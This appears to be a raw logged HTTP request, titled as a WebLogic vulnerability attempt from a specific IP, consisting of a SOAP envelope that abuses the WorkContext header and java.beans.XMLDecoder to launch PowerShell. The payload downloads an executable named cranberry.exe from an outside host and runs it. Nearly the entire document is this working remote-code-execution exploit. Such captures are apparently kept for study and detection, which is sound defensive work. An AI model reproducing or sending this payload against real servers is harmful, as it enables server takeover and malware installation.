wls_vuln_attempt_172.96.252.86

Host:
User-Agent: python-requests/2.18.4
Accept-Encoding: gzip, deflate
Accept: */*
Connection: keep-alive
Content-Type: text/xml
Content-Length: 808

<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Header>
	<work:WorkContext xmlns:work="http://bea.com/2004/06/soap/workarea/">
		<java version="1.8.0_131" class="java.beans.XMLDecoder">
		  <void class="java.lang.ProcessBuilder">
			<array class="java.lang.String" length="3">
			  <void index="0">
				<string>powershell</string>
			  </void>
			  <void index="1">
				<string>-Command</string>
			  </void>
			  <void index="2">
				<string>(New-Object System.Net.WebClient).DownloadFile('http://172.96.252.86/cranberry.exe','cranberry.exe');(New-Object -com Shell.Application).ShellExecute('cranberry.exe');</string>
			  </void>
			</array>
		  <void method="start"/></void>
		</java>
	  </work:WorkContext>
	</soapenv:Header>
  <soapenv:Body/>
</soapenv:Envelope>